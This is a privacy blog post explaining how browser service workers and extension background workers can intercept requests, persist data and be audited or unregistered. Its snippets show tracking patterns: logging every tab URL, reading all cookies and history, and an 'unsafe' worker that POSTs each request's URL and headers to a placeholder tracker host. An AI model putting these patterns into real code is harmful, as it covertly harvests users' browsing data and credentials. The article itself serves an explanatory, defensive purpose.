Skip to content

What Are Browser Service Workers and How Do They Collect Your Data?

I opened Chrome’s Task Manager (Shift+Esc) and noticed something strange. Processes labeled “Service Worker” were running for websites I hadn’t visited in weeks. What were they doing? Why were they still active?

That discovery led me to chrome://service-workers, where I found an entire hidden world of background scripts running in my browser. Here’s what I learned about these silent workers and the data they can access.

What Is a Service Worker?

A service worker is a JavaScript file that runs in the background, separate from any web page. It acts as a programmable network proxy, sitting between your browser and the websites you visit.

Think of it this way:

Service worker position in browser architecture
+------------------+
| Your Browser |
+------------------+
|
v
+------------------+ +------------------+
| Service Worker | <-- | Website/Extension |
| (Background JS) | | (Registered it) |
+------------------+ +------------------+
|
v
+------------------+
| Network/Web |
+------------------+

Once a website or browser extension registers a service worker, it persists even after you close the tab or the browser itself. It intercepts network requests, caches data, and can run periodically through background sync.

The Discovery That Concerned Me

I navigated to chrome://service-workers and saw this:

Example service worker list in Chrome
Origin: https://some-shopping-site.com
Registration ID: 123
Scope: https://some-shopping-site.com/
Status: Running
Origin: chrome-extension://abc123...
Registration ID: 456
Scope: chrome-extension://abc123...
Status: Running

Sites I visited once months ago still had active service workers. Browser extensions I installed were running background processes I never knew about.

How Service Workers Collect Data

The key privacy concern is that service workers intercept ALL network requests. They sit in the middle and can see everything passing through.

Network Request Interception

This is the primary mechanism. Every request you make passes through the service worker first:

fetch-intercept.js
// This runs in the service worker context
self.addEventListener('fetch', (event) => {
const request = event.request;
// The worker can read:
// - URL you're accessing
// - HTTP method (GET, POST, etc.)
// - Headers (including auth tokens)
// - Request body (form data, JSON payloads)
console.log('User accessing:', request.url);
// Worker decides what to do:
// - Let request proceed normally
// - Return cached response instead
// - Modify the request
// - Block the request entirely
});

The scary part: the service worker can cache responses. If you log into a website, your authentication response might be cached. The service worker can access that cached token later.

Storage API Access

Service workers have access to persistent storage that survives browser sessions:

storage-persistence.js
// IndexedDB - structured data storage
const dbPromise = indexedDB.open('user-data', 1);
dbPromise.then(db => {
// Store anything: visited URLs, preferences, form data
const store = db.transaction('history', 'readwrite').objectStore('history');
store.add({ url: 'https://...', timestamp: Date.now() });
});
// Cache Storage - stores request/response pairs
caches.open('my-cache').then(cache => {
// Cache contains copies of network responses
// Including potentially sensitive data
});

For browser extensions, there’s also chrome.storage:

extension-storage.js
// Extension service workers use chrome.storage API
chrome.storage.local.set({ userVisitedUrls: ['url1', 'url2'] });
// This data persists across browser sessions
// And can sync across devices with chrome.storage.sync

Background Sync

This feature allows service workers to run periodically, even when you’re not actively browsing:

background-sync.js
// In service worker:
self.addEventListener('periodicSync', (event) => {
if (event.tag === 'daily-update') {
// Runs automatically at intervals
// Can upload collected data to remote server
event.waitUntil(uploadCollectedData());
}
});

Extension APIs (For Browser Extensions)

Extension service workers have additional powerful APIs:

extension-tracking.js
// Track every tab URL change
chrome.tabs.onUpdated.addListener((tabId, changeInfo, tab) => {
if (changeInfo.status === 'complete') {
// Log every URL user visits
chrome.storage.local.get(['history'], (result) => {
const history = result.history || [];
history.push({ url: tab.url, title: tab.title });
chrome.storage.local.set({ history });
});
}
});
// Access full browsing history
chrome.history.search({ text: '' }, (items) => {
// items contains ALL URLs user has visited
});
// Read cookies (including auth tokens)
chrome.cookies.getAll({}, (cookies) => {
// All cookies across all sites
});

The Service Worker Lifecycle

Understanding the lifecycle explains why service workers persist:

Service worker lifecycle stages
INSTALL --> ACTIVATE --> IDLE --> TERMINATE --> WAKE UP --> IDLE ...
| | | ^
| | | |
v v v |
(pre-cache) (claim (no active (event occurs)
resources) control) events)

Key insight: Terminated is not the same as gone. The service worker becomes dormant when idle, but the browser wakes it up when events occur. The registration persists until explicitly unregistered.

lifecycle-events.js
// Installation - runs once when first registered
self.addEventListener('install', (event) => {
// Pre-cache resources
event.waitUntil(
caches.open('static-v1').then(cache => {
return cache.addAll(['/index.html', '/app.js']);
})
);
});
// Activation - runs when worker takes control
self.addEventListener('activate', (event) => {
// Claim all clients immediately
event.waitUntil(clients.claim());
});
// Fetch - runs for every network request
self.addEventListener('fetch', (event) => {
// Interception happens here
});

What Data Can They Actually Access?

Here’s the breakdown:

Service worker data access capabilities
| API | Data Access | Privacy Risk |
|--------------------|--------------------------|--------------|
| Cache Storage | URLs, response bodies | HIGH |
| IndexedDB | Structured storage | HIGH |
| chrome.storage | Key-value data (ext) | HIGH |
| Fetch Events | ALL network requests | CRITICAL |
| Background Sync | Periodic upload | MEDIUM |
| Push API | Remote triggers | MEDIUM |
| Tabs API (ext) | Tab URLs, titles | CRITICAL |
| History API (ext) | Full browsing history | CRITICAL |
| Cookies API (ext) | Session cookies | CRITICAL |

What they cannot access directly:

  • localStorage and sessionStorage (must use workarounds)
  • DOM elements (no direct page access)
  • Synchronous operations

However, extension service workers can create “offscreen documents” to access additional APIs like geolocation.

Common Misconceptions

I had several wrong assumptions before researching this:

Misconception 1: “Service workers only cache for offline use”

Reality: They intercept ALL requests. Login requests, API calls, form submissions - everything passes through them.

Misconception 2: “Closing the tab stops the service worker”

Reality: Service workers persist across sessions. They only stop when explicitly unregistered or when you clear browser data.

Misconception 3: “I can see what they’re doing”

Reality: Service workers run in a separate context. You need DevTools or chrome://service-workers to inspect them. Most users never check.

Misconception 4: “Extensions with good reviews are safe”

Reality: Reviews don’t verify background behavior. A helpful extension can still collect data through its service worker.

How to Check Your Service Workers

Chrome Browser

  1. Navigate to chrome://service-workers
  2. See all registered workers with their origins
  3. Click “Unregister” to remove any worker
  4. Click “Focus” to see the worker’s console
chrome://service-workers interface
[Origin] [Status] [Actions]
https://site1.com Running [Update] [Unregister] [Focus]
https://site2.com Stopped [Update] [Unregister] [Focus]
chrome-extension://... Running [Update] [Unregister] [Focus]

Chrome DevTools

  1. Open DevTools (F12 or Cmd+Option+I)
  2. Go to Application tab
  3. Click “Service Workers” in sidebar
  4. View registration status and inspect code

Chrome Task Manager

Press Shift + Esc to see active processes including service workers consuming CPU and memory.

Extension Service Workers

  1. Go to chrome://extensions
  2. Enable “Developer mode” toggle
  3. Click “Service worker” link under each extension
  4. Opens DevTools for that extension’s background process

Firefox

Navigate to about:serviceworkers to view and manage registered workers.

How to Remove Unwanted Service Workers

Method 1: Direct Unregistration

In chrome://service-workers, click “Unregister” for each unwanted worker.

Method 2: Clear Site Data

  1. Go to chrome://settings/siteData
  2. Find the origin
  3. Click “Clear data” to remove cached data and service worker

Method 3: Programmatic Clearing

If you’re a developer, you can unregister programmatically:

unregister-workers.js
// Check all registered service workers
navigator.serviceWorker.getRegistrations().then(registrations => {
console.log(`Found ${registrations.length} service workers`);
registrations.forEach(reg => {
console.log('Scope:', reg.scope);
// Unregister suspicious workers
if (reg.scope.includes('untrusted-site.com')) {
reg.unregister();
}
});
});
// Clear all cached data
caches.keys().then(names => {
names.forEach(name => caches.delete(name));
});

Why This Matters

The privacy implications are significant:

  1. Persistent tracking - Service workers survive browser sessions
  2. Passive collection - Data gathered without active user action
  3. Network visibility - All requests pass through the worker
  4. Background sync - Data uploaded even when you’re away
  5. No visual indicator - Unlike tabs, you can’t see them running

Real-world risks:

  • Cached authentication tokens accessible to malicious workers
  • Form data captured from intercepted POST requests
  • API keys extracted from request headers
  • Behavior tracking through URL patterns
  • Location data via geolocation API

Safe vs Unsafe Patterns

For developers wondering about best practices:

safe-pattern.js
// SAFE: Minimal, transparent caching for public assets
self.addEventListener('fetch', (event) => {
// Only cache public static files
if (event.request.url.match(/\.(css|js|png|jpg)$/)) {
event.respondWith(
caches.match(event.request).then(cached => {
return cached || fetch(event.request);
})
);
}
// Let all other requests pass through normally
});
unsafe-pattern.js
// UNSAFE: Intercepting and logging everything
self.addEventListener('fetch', (event) => {
// DANGER: Logs ALL requests including sensitive ones
fetch('https://tracker.example.com/log', {
method: 'POST',
body: JSON.stringify({
url: event.request.url,
headers: Object.fromEntries(event.request.headers)
})
});
event.respondWith(fetch(event.request));
});

Action Steps

Based on what I learned:

  1. Check regularly - Visit chrome://service-workers periodically
  2. Remove unknown workers - Unregister anything from sites you don’t actively use
  3. Monitor extensions - Review extension service workers in Developer mode
  4. Clear site data - After unregistering, clear cached data too
  5. Audit code - If you have technical skills, inspect service worker scripts

Key Takeaways

Service workers are designed for legitimate purposes like offline caching and background sync. But their network interception capabilities make them powerful data collection tools.

The most important points:

  1. Service workers persist indefinitely after initial registration
  2. They intercept ALL network requests, including sensitive ones
  3. Storage APIs enable long-term data persistence
  4. Extension service workers have additional powerful APIs
  5. You must manually unregister to stop them

If you can’t read the code, you can’t know what a service worker is doing. Transparency is critical, and regular auditing of your registered workers is a good privacy practice.


Final Words + More Resources

My intention with this article was to help others share my knowledge and experience. If you want to contact me, you can contact by email: Email me

Here are also the most important links from this article along with some further resources that will help you in this scope:

Oh, and if you found these resources useful, don’t forget to support me by starring the repo on GitHub!

Comments